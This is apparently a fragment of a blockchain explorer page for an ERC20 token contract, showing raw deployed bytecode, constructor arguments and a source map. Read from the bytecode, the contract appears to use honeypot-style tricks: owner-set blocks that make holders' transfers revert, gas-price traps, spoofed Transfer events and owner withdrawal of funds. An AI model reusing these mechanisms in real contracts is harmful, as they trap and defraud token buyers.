09ae565b6040516103b29190612323565b60405180910390f35b6103c36109b7565b6040516103d0919061226c565b60405180910390f35b6103f360048036038101906103ee9190612549565b6109bd565b005b6103fd610a83565b60405161040a919061226c565b60405180910390f35b61041b610a89565b604051610428919061226c565b60405180910390f35b61044b60048036038101906104469190612287565b610a96565b60405161045891906125e3565b60405180910390f35b610469610ac9565b005b610473610b0f565b604051610480919061218f565b60405180910390f35b6104a3600480360381019061049e91906120d2565b610b9d565b6040516104b0919061226c565b60405180910390f35b6104c1610be5565b005b6104dd60048036038101906104d891906121e7565b610c51565b005b6104e7610cc7565b6040516104f4919061218f565b60405180910390f35b610517600480360381019061051291906121e7565b610d55565b005b610521610dcb565b60405161052e91906125e3565b60405180910390f35b61053f610df5565b60405161054c919061218f565b60405180910390f35b61055d610e87565b005b6105676110c5565b604051610574919061226c565b60405180910390f35b610597600480360381019061059291906121e7565b6110ca565b6040516105a49190612242565b60405180910390f35b6105b56110ed565b6040516105c291906125e3565b60405180910390f35b6105e560048036038101906105e09190612287565b611113565b005b6105ef611155565b6040516105fc919061226c565b60405180910390f35b61060d61115b565b60405161061a919061226c565b60405180910390f35b61063d600480360381019061063891906120d2565b611161565b005b610659600480360381019061065491906125fe565b6111c4565b604051610666919061226c565b60405180910390f35b61067761124b565b005b61068161129c565b60405161068e919061226c565b60405180910390f35b6106b160048036038101906106ac91906120d2565b6112a2565b005b6106bb611328565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106f691906125e3565b602060405180830381865afa158015610713573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107379190612653565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610774929190612680565b6020604051808303816000875af1158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b791906126d5565b505050565b6060600380546107cb90612731565b80601f01602080910402602001604051908101604052809291908181526020018280546107f790612731565b80156108445780601f1061081957610100808354040283529160200191610844565b820191906000526020600020905b81548152906001019060200180831161082757829003601f168201915b5050505050905090565b610856611328565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806108a56113af565b90506108b28185856113b7565b600191505092915050565b6108c5611328565b6000600d819055506000600c819055507f80de050b85d3a75cad8a3df5e178576f5df5879cad768c7b5600fa00770f2c7c60405160405180910390a1565b62013e3181565b610912611328565b7fd3b613dda5c9cdfd44a8f58e5198dec35a31f7f9d39dec2fd6b532e47989c7b981604051610941919061226c565b60405180910390a150565b6000600254905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000806109816113af565b905061098e8582856113c9565b61099985858561145d565b60019150509392505050565b60006002905090565b60006012905090565b61a86a81565b6109c5611328565b60005b8251811015610a7d578281815181106109e4576109e3612762565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610a4d57610a4c612762565b5b6020026020010151604051610a62919061226c565b60405180910390a38080610a75906127c0565b9150506109c8565b50505050565b600d5481565b6000804690508091505090565b600e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad1611328565b6000600d819055506000600c819055507f2d53e1bd10978dd02f36cd1d3680151195d9f7358e0c867bc753abecafb55e4360405160405180910390a1565b60088054610b1c90612731565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612731565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bed611328565b600073ffffffffffffffffffffffffffffffffffffffff16610c0d610dcb565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610c59611328565b610c6b610c64610dcb565b838361145d565b6001600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60098054610cd490612731565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0090612731565b8015610d4d5780601f10610d2257610100808354040283529160200191610d4d565b820191906000526020600020905b815481529060010190602001808311610d3057829003601f168201915b505050505081565b610d5d611328565b610d6f610d68610dcb565b838361145d565b6001600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610e0490612731565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3090612731565b8015610e7d5780601f10610e5257610100808354040283529160200191610e7d565b820191906000526020600020905b815481529060010190602001808311610e6057829003601f168201915b5050505050905090565b610e8f611328565b610e97611551565b6000610ea1610a89565b9050600080600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303610f5b578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f54919061281d565b9150610fcd565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fca919061281d565b91505b60008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561101a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103e919061281d565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630856040518363ffffffff1660e01b815260040161107b92919061284a565b6020604051808303816000875af115801561109a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110be919061281d565b5050505050565b600181565b6000806110d56113af565b90506110e281858561145d565b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61111b611328565b7f0d61b965947cabd8d137e76c38fd92e63d79b181830e0918b69794938355febd8160405161114a919061226c565b60405180910390a150565b600c5481565b61a4b181565b611169611328565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611253611328565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611299573d6000803e3d6000fd5b50565b61210581565b6112aa611328565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361131c5760006040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161131391906125e3565b60405180910390fd5b6113258161175b565b50565b6113306113af565b73ffffffffffffffffffffffffffffffffffffffff1661134e610dcb565b73ffffffffffffffffffffffffffffffffffffffff16146113ad576113716113af565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016113a491906125e3565b60405180910390fd5b565b600033905090565b6113c48383836001611821565b505050565b60006113d584846111c4565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114575781811015611447578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161143e93929190612873565b60405180910390fd5b61145684848484036000611821565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114cf5760006040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016114c691906125e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115415760006040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161153891906125e3565b60405180910390fd5b61154c8383836119f8565b505050565b73f164fc0ec4e93095b804a4795bbe1e041497b92a600e60006001815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad24600e6000612105815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507360ae616a2155ee3d9a68541ba4544862310933d4600e600061a86a815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507398994a9a7a2570367554589189dc9772241650f6600e600062013e31815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad24600e600061a4b1815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036118935760006040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161188a91906125e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119055760006040517f94280d620000000000000000000000000000000000000000000000000000000081526004016118fc91906125e3565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080156119f2578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516119e9919061226c565b60405180910390a35b50505050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a5a57611a55838383611c2b565b611c26565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611afe5750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b34906128f6565b60405180910390fd5b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611ba957611ba3848484611c2b565b50611c26565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c1957611c09848484611c2b565b611c136001612014565b50611c26565b611c24848484611c2b565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c7d578060026000828254611c719190612916565b92505081905550611d50565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d09578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611d0093929190612873565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d995780600260008282540392505081905550611de6565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ec757600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611eba919061226c565b60405180910390a361200f565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611fa8578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f9b919061226c565b60405180910390a361200e565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612005919061226c565b60405180910390a35b5b505050565b60003a90508181111561205c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612053906129bc565b60405180910390fd5b5050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061209f82612074565b9050919050565b6120af81612094565b81146120ba57600080fd5b50565b6000813590506120cc816120a6565b92915050565b6000602082840312156120e8576120e761206a565b5b60006120f6848285016120bd565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561213957808201518184015260208101905061211e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612161826120ff565b61216b818561210a565b935061217b81856020860161211b565b61218481612145565b840191505092915050565b600060208201905081810360008301526121a98184612156565b905092915050565b6000819050919050565b6121c4816121b1565b81146121cf57600080fd5b50565b6000813590506121e1816121bb565b92915050565b600080604083850312156121fe576121fd61206a565b5b600061220c858286016120bd565b925050602061221d858286016121d2565b9150509250929050565b60008115159050919050565b61223c81612227565b82525050565b60006020820190506122576000830184612233565b92915050565b612266816121b1565b82525050565b6000602082019050612281600083018461225d565b92915050565b60006020828403121561229d5761229c61206a565b5b60006122ab848285016121d2565b91505092915050565b6000806000606084860312156122cd576122cc61206a565b5b60006122db868287016120bd565b93505060206122ec868287016120bd565b92505060406122fd868287016121d2565b9150509250925092565b600060ff82169050919050565b61231d81612307565b82525050565b60006020820190506123386000830184612314565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61237b82612145565b810181811067ffffffffffffffff8211171561239a57612399612343565b5b80604052505050565b60006123ad612060565b90506123b98282612372565b919050565b600067ffffffffffffffff8211156123d9576123d8612343565b5b602082029050602081019050919050565b600080fd5b60006124026123fd846123be565b6123a3565b90508083825260208201905060208402830185811115612425576124246123ea565b5b835b8181101561244e578061243a88826120bd565b845260208401935050602081019050612427565b5050509392505050565b600082601f83011261246d5761246c61233e565b5b813561247d8482602086016123ef565b91505092915050565b600067ffffffffffffffff8211156124a1576124a0612343565b5b602082029050602081019050919050565b60006124c56124c084612486565b6123a3565b905080838252602082019050602084028301858111156124e8576124e76123ea565b5b835b8181101561251157806124fd88826121d2565b8452602084019350506020810190506124ea565b5050509392505050565b600082601f8301126125305761252f61233e565b5b81356125408482602086016124b2565b91505092915050565b6000806000606084860312156125625761256161206a565b5b6000612570868287016120bd565b935050602084013567ffffffffffffffff8111156125915761259061206f565b5b61259d86828701612458565b925050604084013567ffffffffffffffff8111156125be576125bd61206f565b5b6125ca8682870161251b565b9150509250925092565b6125dd81612094565b82525050565b60006020820190506125f860008301846125d4565b92915050565b600080604083850312156126155761261461206a565b5b6000612623858286016120bd565b9250506020612634858286016120bd565b9150509250929050565b60008151905061264d816121bb565b92915050565b6000602082840312156126695761266861206a565b5b60006126778482850161263e565b91505092915050565b600060408201905061269560008301856125d4565b6126a2602083018461225d565b9392505050565b6126b281612227565b81146126bd57600080fd5b50565b6000815190506126cf816126a9565b92915050565b6000602082840312156126eb576126ea61206a565b5b60006126f9848285016126c0565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061274957607f821691505b60208210810361275c5761275b612702565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006127cb826121b1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036127fd576127fc612791565b5b600182019050919050565b600081519050612817816120a6565b92915050565b6000602082840312156128335761283261206a565b5b600061284184828501612808565b91505092915050565b600060408201905061285f60008301856125d4565b61286c60208301846125d4565b9392505050565b600060608201905061288860008301866125d4565b612895602083018561225d565b6128a2604083018461225d565b949350505050565b7f4e65656420746f20686f6c6420666f72206b656570206c697175696469747900600082015250565b60006128e0601f8361210a565b91506128eb826128aa565b602082019050919050565b6000602082019050818103600083015261290f816128d3565b9050919050565b6000612921826121b1565b915061292c836121b1565b925082820190508082111561294457612943612791565b5b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b60006129a660278361210a565b91506129b18261294a565b604082019050919050565b600060208201905081810360008301526129d581612999565b905091905056fea264697066735822122041931305619d8f3ccddd15928226df79eb09d81b05b4bd72673aad986a54beb364736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000000000000000000000000000f4877152c7513901ee494e88909671c0eed736c3
-----Decoded View---------------
Arg [0] : _totalSupply (uint256): 1000000000000000000000000000
Arg [1] : deployer (address): 0xf4877152C7513901ee494E88909671C0EEd736C3
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Arg [1] : 000000000000000000000000f4877152c7513901ee494e88909671c0eed736c3
Deployed Bytecode Sourcemap
1568:4746:7:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4801:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1995:87:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3712:78:7;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4154:182:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5835:128:7;;;:::i;:::-;;1842:46;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6091:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3039:95:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1970:42:7;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4880:239:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4606:75:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4509:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1741:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5216:264;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2199:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2563:155;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2226:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5969:116;;;:::i;:::-;;1610:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3189:114:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2242:115:6;;;:::i;:::-;;5667:162:7;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1653:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5486:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1603:83:6;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2191:91:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2724:493:7;;;:::i;:::-;;1695:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3490:174:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1945:19:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6204:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2171:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1894:44;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3796:84;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3719:138:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4687:108:7;;;:::i;:::-;;1792:44;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2502:210:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4801:196:7;1501:13:6;:11;:13::i;:::-;4871:20:7::1;4901:5;4894:23;;;4926:4;4894:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4871:61;;4949:5;4942:22;;;4965:10;4977:12;4942:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;4861:136;4801:196:::0;:::o;1995:87:1:-;2040:13;2071:5;2064:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1995:87;:::o;3712:78:7:-;1501:13:6;:11;:13::i;:::-;3781:2:7::1;3774:4;;:9;;;;;;;;;;;;;;;;;;3712:78:::0;:::o;4154:182:1:-;4227:4;4242:13;4258:12;:10;:12::i;:::-;4242:28;;4279:31;4288:5;4295:7;4304:5;4279:8;:31::i;:::-;4326:4;4319:11;;;4154:182;;;;:::o;5835:128:7:-;1501:13:6;:11;:13::i;:::-;5900:1:7::1;5891:6;:10;;;;5921:1;5911:7;:11;;;;5937:19;;;;;;;;;;5835:128::o:0;1842:46::-;1883:5;1842:46;:::o;6091:107::-;1501:13:6;:11;:13::i;:::-;6166:25:7::1;6184:6;6166:25;;;;;;:::i;:::-;;;;;;;;6091:107:::0;:::o;3039:95:1:-;3091:7;3116:12;;3109:19;;3039:95;:::o;1970:42:7:-;;;;;;;;;;;;;;;;;;;;;;:::o;4880:239:1:-;4967:4;4982:15;5000:12;:10;:12::i;:::-;4982:30;;5021:37;5037:4;5043:7;5052:5;5021:15;:37::i;:::-;5067:26;5077:4;5083:2;5087:5;5067:9;:26::i;:::-;5109:4;5102:11;;;4880:239;;;;;:::o;4606:75:7:-;4647:7;4673:1;4666:8;;4606:75;:::o;4509:91::-;4567:5;4591:2;4584:9;;4509:91;:::o;1741:45::-;1781:5;1741:45;:::o;5216:264::-;1501:13:6;:11;:13::i;:::-;5369:9:7::1;5364:110;5388:4;:11;5384:1;:15;5364:110;;;5444:4;5449:1;5444:7;;;;;;;;:::i;:::-;;;;;;;;5425:38;;5434:8;5425:38;;;5453:6;5460:1;5453:9;;;;;;;;:::i;:::-;;;;;;;;5425:38;;;;;;:::i;:::-;;;;;;;;5401:3;;;;;:::i;:::-;;;;5364:110;;;;5216:264:::0;;;:::o;2199:21::-;;;;:::o;2563:155::-;2606:7;2625:10;2674:9;2668:15;;2709:2;2702:9;;;2563:155;:::o;2226:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;5969:116::-;1501:13:6;:11;:13::i;:::-;6028:1:7::1;6019:6;:10;;;;6049:1;6039:7;:11;;;;6065:13;;;;;;;;;;5969:116::o:0;1610:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3189:114:1:-;3254:7;3279:9;:18;3289:7;3279:18;;;;;;;;;;;;;;;;3272:25;;3189:114;;;:::o;2242:115:6:-;1501:13;:11;:13::i;:::-;2348:1:::1;2310:41;;2331:7;:5;:7::i;:::-;2310:41;;;;;;;;;;;;2242:115::o:0;5667:162:7:-;1501:13:6;:11;:13::i;:::-;5764:29:7::1;5774:7;:5;:7::i;:::-;5783:1;5786:6;5764:9;:29::i;:::-;5818:4;5803:9;:12;5813:1;5803:12;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;;;;;;5667:162:::0;;:::o;1653:35::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5486:175::-;1501:13:6;:11;:13::i;:::-;5586:34:7::1;5596:7;:5;:7::i;:::-;5605:6;5613;5586:9;:34::i;:::-;5650:4;5630:9;:17;5640:6;5630:17;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;5486:175:::0;;:::o;1603:83:6:-;1649:7;1674:6;;;;;;;;;;;1667:13;;1603:83;:::o;2191:91:1:-;2238:13;2269:7;2262:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2191:91;:::o;2724:493:7:-;1501:13:6;:11;:13::i;:::-;2773:12:7::1;:10;:12::i;:::-;2795:15;2813:12;:10;:12::i;:::-;2795:30;;2835:13;2858:22:::0;2883:10:::1;:19;2894:7;2883:19;;;;;;;;;;;;;;;;;;;;;2858:44;;1781:5;2916:7;:24:::0;2912:164:::1;;2972:14;2964:29;;;:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2956:39;;2912:164;;;3042:14;3034:28;;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3026:38;;2912:164;3085:22;3118:14;3110:31;;;:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3085:58;;3162:14;3153:35;;;3197:4;3204:5;3153:57;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;2763:454;;;;2724:493::o:0;1695:40::-;1734:1;1695:40;:::o;3490:174:1:-;3559:4;3574:13;3590:12;:10;:12::i;:::-;3574:28;;3611:27;3621:5;3628:2;3632:5;3611:9;:27::i;:::-;3654:4;3647:11;;;3490:174;;;;:::o;1945:19:7:-;;;;;;;;;;;;;:::o;6204:107::-;1501:13:6;:11;:13::i;:::-;6279:25:7::1;6297:6;6279:25;;;;;;:::i;:::-;;;;;;;;6204:107:::0;:::o;2171:22::-;;;;:::o;1894:44::-;1933:5;1894:44;:::o;3796:84::-;1501:13:6;:11;:13::i;:::-;3869:4:7::1;3852:10;:14;3863:2;3852:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;3796:84:::0;:::o;3719:138:1:-;3799:7;3824:11;:18;3836:5;3824:18;;;;;;;;;;;;;;;:27;3843:7;3824:27;;;;;;;;;;;;;;;;3817:34;;3719:138;;;;:::o;4687:108:7:-;1501:13:6;:11;:13::i;:::-;4745:10:7::1;4737:28;;:51;4766:21;4737:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;4687:108::o:0;1792:44::-;1832:4;1792:44;:::o;2502:210:6:-;1501:13;:11;:13::i;:::-;2605:1:::1;2585:22;;:8;:22;;::::0;2581:89:::1;;2657:1;2629:31;;;;;;;;;;;:::i;:::-;;;;;;;;2581:89;2678:28;2697:8;2678:18;:28::i;:::-;2502:210:::0;:::o;1756:158::-;1825:12;:10;:12::i;:::-;1814:23;;:7;:5;:7::i;:::-;:23;;;1810:99;;1886:12;:10;:12::i;:::-;1859:40;;;;;;;;;;;:::i;:::-;;;;;;;;1810:99;1756:158::o;615:94:0:-;668:7;693:10;686:17;;615:94;:::o;8933:126:1:-;9016:37;9025:5;9032:7;9041:5;9048:4;9016:8;:37::i;:::-;8933:126;;;:::o;10569:467::-;10667:24;10694:25;10704:5;10711:7;10694:9;:25::i;:::-;10667:52;;10752:17;10732:16;:37;10728:303;;10807:5;10788:16;:24;10784:128;;;10865:7;10874:16;10892:5;10838:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;10784:128;10951:57;10960:5;10967:7;10995:5;10976:16;:24;11002:5;10951:8;:57::i;:::-;